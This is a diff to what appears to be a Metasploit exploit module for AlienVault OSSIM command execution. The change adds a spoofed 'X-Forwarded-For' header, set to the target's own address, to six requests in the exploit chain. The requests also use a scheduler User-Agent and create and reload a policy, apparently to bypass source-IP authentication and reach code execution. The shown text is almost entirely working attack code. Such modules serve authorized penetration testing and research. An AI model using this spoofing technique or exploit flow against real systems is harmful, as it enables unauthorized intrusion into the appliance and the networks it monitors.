Adding xff header

Author: mdisec

modules/exploits/linux/http/alienvault_exec.rb

@@ -101,6 +101,7 @@ def exploit
       'method' => 'GET',
       'uri' => normalize_uri(target_uri.path, 'ossim', 'dashboard', 'sections', 'widgets', 'data', 'gauge.php'),
       'headers' => {
+        'X-Forwarded-For' => rhost.to_s,
         'User-Agent' => 'AV Report Scheduler',
       },
       'vars_get' => {
@@ -127,6 +128,7 @@ def exploit
       'method' => 'POST',
       'uri' => normalize_uri(target_uri.path, 'ossim', 'action', 'modifyactions.php'),
       'headers' => {
+        'X-Forwarded-For' => rhost.to_s,
         'User-Agent' => 'AV Report Scheduler',
       },
         'vars_post' => {
@@ -164,6 +166,9 @@ def exploit
       'method' => 'GET',
       'uri'    => normalize_uri(target_uri.path, "ossim", "action", "getaction.php"),
       'cookie' => cookie,
+      'headers' => {
+        'X-Forwarded-For' => rhost.to_s,
+      },
       'vars_get' => {
         'page' => '1',
         'rp'   => '2000'
@@ -184,6 +189,9 @@ def exploit
       'method' => 'GET',
       'uri'    => normalize_uri(target_uri.path.to_s, "ossim", "policy", "policy.php"),
       'cookie' => cookie,
+      'headers' => {
+        'X-Forwarded-For' => rhost.to_s,
+      },
       'vars_get' => {
         'm_opt' => 'configuration',
         'sm_opt' => 'threat_intelligence',
@@ -208,6 +216,9 @@ def exploit
       'method' => 'POST',
       'uri'    => normalize_uri(target_uri.path, "ossim", "policy", "newpolicy.php"),
       'cookie' => cookie,
+      'headers' => {
+        'X-Forwarded-For' => rhost.to_s,
+      },
       'vars_post' => {
         'descr' => policy,
         'active' => '1',
@@ -267,6 +278,9 @@ def exploit
       'method' => 'GET',
       'uri'    => normalize_uri(target_uri.path, "ossim", "conf", "reload.php"),
       'cookie' => cookie,
+      'headers' => {
+        'X-Forwarded-For' => rhost.to_s,
+      },
       'vars_get' => {
       'what' => 'policies',
         'back' => '../policy/policy.php'